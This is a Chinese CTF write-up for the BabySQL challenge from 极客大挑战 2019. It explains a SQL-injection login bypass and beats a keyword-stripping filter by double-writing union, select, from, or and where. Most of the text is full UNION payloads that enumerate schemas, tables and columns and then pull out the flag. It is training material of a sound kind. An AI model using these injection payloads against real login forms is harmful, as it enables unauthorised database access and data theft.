• [极客大挑战 2019]BabySQL


    解题思路

    打开发现是登陆框,先尝试下二次注入
    admin'# 123456 ,登陆成功,获取密码,但是不知道下一步如何利用。
    再尝试正常注入

    联合注入

    union select查询,发现无法显示其内容,猜测被替换为空。使用union/**/select,只留下//,再次证实被替换为空,尝试双写绕过ununionion seselectlect,发现回显出union select,即可进行下一步操作


    发现爆出回显位,2,3.
    把database(),放在回显位中,爆出数据库geek。继续使用下一个payload,发现无法打过去,报错。考虑还有其他的字符串进行了替换为空过滤,fuzz发现,from,or,where也进行了过滤。同样双写绕过过滤

    爆表名:
    ?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' %23

    爆列名:
    ?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' %23
    感觉没什么用,猜测不在这个数据库中,爆出所有数据库

    爆数据库:
    ?username=admin&password=123 %27%20ununionion seselectlect 1,2,group_concat(schema_name)frfromom infoorrmation_schema.schemata %23 

     
    猜测在ctf库下,重新爆

    爆表名:
    ?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23
    爆出Flag表

    爆列名:
    ?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' %23
    爆出flag列

    爆字段:
    ?username=admin&password=123 %27%20ununionion selselectect 1,2,group_concat(flag) frfromom (ctf.Flag) %23
    爆出flag内容

    总结思路

    核心思路:

    • 通过猜测,fuzz等手段知道匹配了哪些字符串做了什么替换
    • bypass
    • 常见的联合注入

    知识点

    • sql注入
  • 相关阅读:
    qs.stringify() 和JSON.stringify()的区别 飞鸟和蝉
    js随机数, 范围随机数 飞鸟和蝉
    VUECLI 4的跨域解决方案
    vue3elementadmin
    English dedicate 致力 题献
    解决java web项目导入后出现的问题 cannot be read or is not a valid ZIP file
    SQL 优化原则(转)
    Java Spring Error : Bean property '*****' is not writable or has an invalid setter method.
    c++面试题:#define MIN(A,B) ( (A) <= (B) ? (A) : (B) )
    freemark list 循环变量类型错误问题
  • 原文地址:https://www.cnblogs.com/karsa/p/13379580.html
Copyright © 2020-2023  润新知